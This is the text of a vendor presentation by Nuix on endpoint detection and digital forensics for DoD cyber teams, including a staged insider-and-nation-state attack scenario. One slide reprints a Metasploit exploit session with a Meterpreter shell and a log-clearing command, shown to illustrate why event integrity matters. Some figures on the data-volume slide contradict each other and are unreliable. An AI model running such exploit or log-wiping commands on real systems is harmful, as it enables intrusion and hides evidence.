Welcome
DCO COBRA and SOSSEC - CYBER TALK
September 17, 2020
Presents:
Nuix
Taking Back the Host – State of the Art Endpoint Detection and Investigation
Speakers Include:
Hoke Smith – Nuix VP, Cybersecurity
Robert O’Leary – Nuix Head of Investigations
Taking Back the Host

STATE OF THE ART ENDPOINT DETECTION & INVESTIGATION

Hoke Smith | Bob O'Leary

nuix
About Us

Carla von Bernewitz  
DoD Sales Executive  
202-494-8002  
carla.vonbernewitz@nuixusg.com

Hoke Smith  
VP, Cybersecurity  
hoke.smith@nuix.com

Bob O’Leary  
Head of Investigations  
robert.oleary@nuix.com
Agenda

• Introductions

• Threat context

• Framework for host detection and investigation

• Challenges in event-based investigations and traditional forensics

• Leading-edge capabilities

• Demonstration scenario

• Demonstration
About Nuix

Nuix creates innovative software that empowers organizations to simply and quickly find the truth from any data in a digital world.

Digital Forensics  Cybersecurity  eDiscovery
Threat and Risk on the Host: US DoD

China, Russia, Iran, and North Korea increasingly use cyber operations to threaten both minds and machines in an expanding number of ways…

...China and Russia pose the greatest…cyber attack threats, but we anticipate that all our adversaries and strategic competitors will increasingly build and integrate cyber espionage, attack, and influence capabilities.

25%+ of departing employees say they take company data.

Overall cost of an insider threat incident rose 31% between 2018 and 2020.

Number of incidents increased by 47%.

30% of breaches involved internal actors.

25% of those take data they didn’t themselves create. Majority say this is not malicious.¹

30% of breaches involved internal actors.³

Data collection

Use of co-worker’s account

Unauthorized installs

Abnormal work hours

Use of screen scrapers

Communication with co-conspirators

Privilege abuse

Suspicious downloads

Suspicious uploads

Data manipulation

Insider runs outsider’s malware

Malware / Trojan

Use of Stolen Creds

Phishing

Malware / Password Dumper

DoS

Malware / RAM Scraper

Hack web app

Malware / Ransomware

Exploit vuln

Suspicious downloads

Exploit vuln

Overall cost of an insider threat incident rose 31% between 2018 and 2020.

Number of incidents increased by 47%.

30% of breaches involved internal actors.


⁴2019 Worldwide Threat Assessment of the US Intelligence Community; DNI Coates SFR.
Host Detection & Investigation
Host Detection and Investigation

1. **Block / Alert**
   - Behavior-based protection and detection

2. **Triage**
   - Analyze process tree, network, file system, registry, etc.

3. **Respond / Remediate**
   - Quarantine host, kill process, delete files

4. **Collect**
   - Obtain and relocate evidence from all sources

5. **Process & Investigate**
   - Index for search

6. **Analyze & Collaborate**
   - Visualize, search, tag, share case

---

Event-based detection, triage
---
Forensic collection, investigation
Use Case: Navy Cyber Protection Teams

1. **Live Response**
   - Install Adaptive Security (AS) agent on all systems. Use AS to examine event data for evidence of malicious C2, anomalous code, discovery, lateral movement, and other behaviors. Scan RAM. Examine Event Logs. Search for files. Create custom alerts to detect new behaviors of interest.

2. **Forensic Collection**
   - Use Adaptive Security to collect files for forensic examination.

3. **Forensic Examination**
   - Use Nuix Workstation to ingest, index, store, and search data from multiple sources, including: Adaptive Security event data, log files from other sources, forensic image files, RAM. Data is stored in Elastic repository.

4. **Analysis and Collaboration**
   - Use Nuix Investigate to collaborate across individuals and teams and to control access to case data based on permission levels.

---

**Host Security: Live Response and Forensics**

- **Install agent, begin triage**
- **Collect logical files, disk images**
- **Search, tag, analyze data**
- **Nuix Investigate**
  - Analytics and Collaboration

**Network Security**

- **Endpoint events**
- **Network events**
- **Endpoint artifacts: EO1 files, mobile images, email, etc.**

---

nuix.com | 9
CPT Feedback on Operational Value

Easier to get value from both experienced and junior personnel
- New operators: start hunting immediately without having to learn a proprietary language
- Experienced operators: use Engine Filter Language to create their own detections

Event details support intelligence collection and help attribution
- Can discover adversary TTP’s and match them to profiles

Minimize impact to customer network
- Can deploy agent with no data sendback, alert only, tailored streaming, or full streaming
Event-based detection & triage

User Behavior
- Uses snipping tool, with a sensitive database open, and a thumb drive plugged in, after hours

System Behavior
- PowerShell loads suspicious DLL, makes outbound network connection, drops an executable

Create event
- Context supports action and/or offers insight

Process it
- Understandable by a machine

Log it
- Available, Protected

nuix
What’s in an event?

[Diagram showing various nodes and connections such as Parent, Process, CMD line, User, Action, Network, Remote IP, Remote Port, User, File, Filename, File path, Process, User, Window Title, Key Data, PID, User, Exec Path, Volume Ltr, Media, Mfg, Model, Serial, Action, Action, etc.]
Digital forensics

➢ Acquire the full range of data of investigative value
  ➢ Full disk images
  ➢ Logical partitions
  ➢ Mobile devices
  ➢ Targeted data
  ➢ Artifacts

➢ Fully process the data
  ➢ Parse
  ➢ Index
  ➢ Search
  ➢ Analyze results
  ➢ Link Analysis

➢ Report findings
  ➢ Visualizations

nuix
Challenges
Event Context

Events

• Context

• Availability

• Integrity

1. User starts PowerShell from Administrator command prompt.

2. PowerShell logs an event to the Windows PowerShell log.

3. Unanswered questions:
   - What process started powershell?
   - What user account started it?
   - What command was executed to start it?
   - Is it running from its normal path?
   - Correct hash value?
   - Signature status?
Event Availability

**Events**
- Context
- Availability
- Integrity

**Prevention & Detection**
- Create event
- Process
- Respond Automatically

**Triage & Threat Hunting**
- Create event
- Process
- Log

Each event must be available in real time

~30 days of events must be available for investigation

nuix.com | 16
Event Integrity

Events

• Context
• Availability
• Integrity

```
msf exploit(waf ftpd_165_user) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 172.16.104.145:21...
[*] Connected to target FTP server.
[*] Trying target Windows 2000 SP0-SP4 English...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (172.16.104.130:4444 -> 172.16.104.145:1253)

meterpreter > run clearlogs
Clearing Event Logs, this will leave an event 517
[*] Clearing the security Event Log
[*] Clearing the system Event Log
[*] Clearing the application Event Log
[*] Clearing the directory service Event Log
[*] Clearing the dns server Event Log
[*] Clearing the file replication service Event Log
All Clear! You are a Ninja!

meterpreter > exit
```
Other Challenges

1. Agent CPU, RAM, disk consumption on end user’s system

2. Network traffic generation

3. Agent deployment & maintenance

4. Flexibility
Data Variety

- Data variety
  - Processing data from all sources in a single platform
  - Analyzing all data of investigative value in a holistic solution
  - Perform link analysis across all source data
    - Computers
    - Network shares
    - Cloud sources
      - Dropbox
      - Google drive
      - Onedrive
      - Sharepoint
      - More..
    - Phones
    - IoT

Skyrocketing data volumes and increased risk

- Cloud data
- Communication patterns
- Real-time data
- Human-generated
- Mobile data
- Log data
- Structured data
- User data
- Multimedia
- Network data
Data Volume

- **Volume**
  - Computer hard drives average 1TB of data
  - External storage hard drives
  - Network shares can be terabytes of data
  - Cloud sources can be Gigabytes to Terabytes of data
  - Phones can be multiple GB of data
  - Cases can be multiple TB to PB of data

- **Examples**
  - **Disk Volume**: 250GB
  - **Gigabyte**: 1,073,741,824 bytes
  - **Page size**: 3000 bytes
  - **Pages**: 89,478
  - **Ream**: 500 pages
  - **Reams**: 178,996
  - **Ream height**: 2"
  - **Total height**: 357,933" = 9.31' 8"
  - **Mt. Everest**: 29,035" = 8,848' 11"

- **Comparison**
  - **Disk Volume**: 120GB
  - **Gigabyte**: 1,073,741,824 bytes
  - **Page size**: 3000 bytes
  - **Pages**: 42,949,673
  - **Ream**: 595 pages
  - **Reams**: 188,446
  - **Ream height**: 2"
  - **Total height**: 5,194,379" = 138' 11"
  - **Mt. Rainier**: 14,367" = 3,968' 11"
  - **Mt. Rainier**: 14,367" = 3,968' 11"

- **Cloud Comparison**
  - **Disk Volume**: 1TB
  - **Terabyte**: 1,024 GB
  - **Page size**: 10 bytes
  - **Pages**: 10,240
  - **Ream**: 0 pages
  - **Reams**: 0
  - **Ream height**: 0"
  - **Total height**: 0" = 0' 0"

- **Record Fall**
  - **Felix Baumgartner**: 121,440’ (October 14, 2012)
Flexibility

➢ Often cases can be solved with early case assessment (ECA)
  ➢ Artifacts
  ➢ Common data storage locations
    ➢ My Documents folder
    ➢ Preliminary findings may confirm prima facia case
  ➢ Some cases require deep dive forensic examination/analysis
    ➢ Encryption
    ➢ Malware
    ➢ Intrusions
    ➢ Hacking
    ➢ IP theft
    ➢ More…..
Traditional techniques fall short

➢ Enterprise investigations take time & are often compounded by:
  ➢ Identification & acquisition of relevant data sources
  ➢ Backlogs
  ➢ Manual searches
  ➢ Anti-forensics techniques
  ➢ Recovering lost information
  ➢ Internal investigation pressures
  ➢ Go deep or skim surface?
  ➢ Time, resource and cost implications
  ➢ Size and complexity
  ➢ Volume
  ➢ Poorly conducted investigations

➢ Cases can be multiple TB to PB of data
Leading Edge Capabilities
Event Recording

- User Sessions
- Screenshots
- Print jobs
- Clipboard
- Keystrokes
- Network Connections
- DLL loads
- DNS Queries
- Processes
- URLs visited
- Registry
- File system

**Process Event**

<table>
<thead>
<tr>
<th>Timestamp</th>
<th>Host Name</th>
<th>Create St.</th>
<th>Parent Process Name</th>
<th>Parent PID</th>
<th>Process Name</th>
<th>PID</th>
<th>Process User</th>
<th>Command Line</th>
<th>Full Path</th>
<th>MD5</th>
<th>Signature Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>9/16/2020 2:00:25</td>
<td>G4L-5-10</td>
<td>Started</td>
<td>cmd.exe</td>
<td>13188</td>
<td>powershell.exe</td>
<td>7488</td>
<td>Vito Intaglia</td>
<td>powershell</td>
<td>\Device\HarddiskVolume1\Users\vito\AppData\Local\Temp\process-13188.exe</td>
<td>9500005602390328</td>
<td>Trusted</td>
</tr>
</tbody>
</table>

**Network Event**

<table>
<thead>
<tr>
<th>Timestamp</th>
<th>Host Name</th>
<th>Action</th>
<th>Process Name</th>
<th>PID</th>
<th>Process User</th>
<th>Direction</th>
<th>Local Address</th>
<th>Local Port</th>
<th>Remote Port</th>
<th>Bytes Sent</th>
<th>Bytes Received</th>
</tr>
</thead>
<tbody>
<tr>
<td>9/11/2020 9:08:41</td>
<td>G4L-9-10</td>
<td>Terminated</td>
<td>powershell.exe</td>
<td>7276</td>
<td>Built-in admin</td>
<td>Outbound</td>
<td>10.10.10.150</td>
<td>50332</td>
<td>10.10.10.41</td>
<td>1234</td>
<td>26496407</td>
</tr>
</tbody>
</table>

**Clipboard Event**

<table>
<thead>
<tr>
<th>Timestamp</th>
<th>Host Name</th>
<th>Source Process</th>
<th>Source Window Title</th>
<th>Destination Process</th>
<th>Destination Window Title</th>
<th>String Data</th>
<th>Binary Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>9/2/2020 11:26:53</td>
<td>DESKTOP-G7BLS63</td>
<td>svchost.exe</td>
<td>Sticky Notes</td>
<td>Teams.exe</td>
<td>&quot;A trip to the kitchen&quot;</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Programmability

Start

Receive Event

Execute All Set Rules

process.state == PROCESS_STARTING

Yes

Execute Block Rules (until first match)

No

A

Execute Suppress Rules (until first match)

Execute Forward Rules (until first match)

Execute All Alert Rules

Execute Isolate Rules (until first match)

A

B

Execute Killprocess Rules (until first match)

Execute All Screenshot Rules

End
Programmability
Investigative Pivot

Confidence
In Threat Level

Alert

Related Events

Forwarded Events

Streamed Events

Targeted Collection

End user impact

Full Disk Image

Effort
Investigator time, processing/storage, network & endpoint resources
Handling Data Variety

Ability to process a wide data range:

- email
- disk image
- mobile device
- malicious binary
- Adaptive Security events
- network logs
- dark web scrapes
Scalability & Flexibility

Volume / scalability:

• forensic examination of thousands of systems
• analyze an entire email archive for evidence of phishing
• look within TB of log data for IOCs

Flexibility in applying processing power:

• Process everything with full indexing
• Triage and reprocess interesting stuff

Net Result: Get the commander an answer faster
Holistic View of All Data
Break – 5 min
Putting it all Together
Putting it All Together: Demonstration Scenario

- Nation-state wants to establish presence on DoD networks during a period when they believe US leadership is distracted, such as during an election
- Recruits an insider working in a Program Management Office for a major DoD program; program has regular interaction with OSD and other senior levels, making lateral movement easier
- Convinces him to open a spearphishing email, allowing the state actor initial access
- Insider bargains for a higher fee; and agrees to stage information such as org charts that the state actor can use to plan lateral movement
- **Insider:** searches web for one of his contacts; copies org charts to a folder on his desktop; posts the files to a file sharing site; copies to a thumb drive; opens attachment on a phishing email
- **External Attacker:** sets up C2 to listen for callback, starts meterpreter session, elevates to system privilege, downloads org charts from desktop folder, runs mimikatz to grab credentials

**Detect, triage, collect evidence:** Nuix Adaptive Security  
**Process, index, build investigative timeline:** Nuix Workstation
Contact Us

Carla von Bernewitz  
DoD Sales Executive  
202-494-8002  
carla.vonbernewitz@nuixusg.com

Hoke Smith  
VP, Cybersecurity  
hoke.smith@nuix.com

Bob O’Leary  
Head of Investigations  
robert.oleary@nuix.com
SOSSEC Membership is Required for Award on PEO EIS, DCO  
Cyberspace Operations Broad Responsive Agreement (COBRA)  
Other Transaction Agreement (OTA)

Benefits of Joining the SOSSEC Consortium

✓ Opportunity to perform work under seven (7) OTAs for the Air Force, Army and National Geospatial-Intelligence Agency
✓ Opportunity to build members’ business base by applying their technologies/expertise to meeting urgent DoD requirements
✓ Simple, streamlined process to compete for DoD work
✓ Average 60 days from requirements definition to award
✓ Flexible treatment of intellectual property
✓ OTA access to any DoD user with approval of OTA customer

Go to [www.sossecinc.com](http://www.sossecinc.com) and click on the JOIN NOW Tab to access the membership application. The process is simple and rapid. There is no joining fee, and the membership fee is $500 per year. Membership is open to Industry (traditional, nontraditional, small business), not for profit and academic institutions that share the values of the SOSSEC Consortium.

*Questions about SOSSEC COBRA OTA contact: eaguirre@sossecinc.com*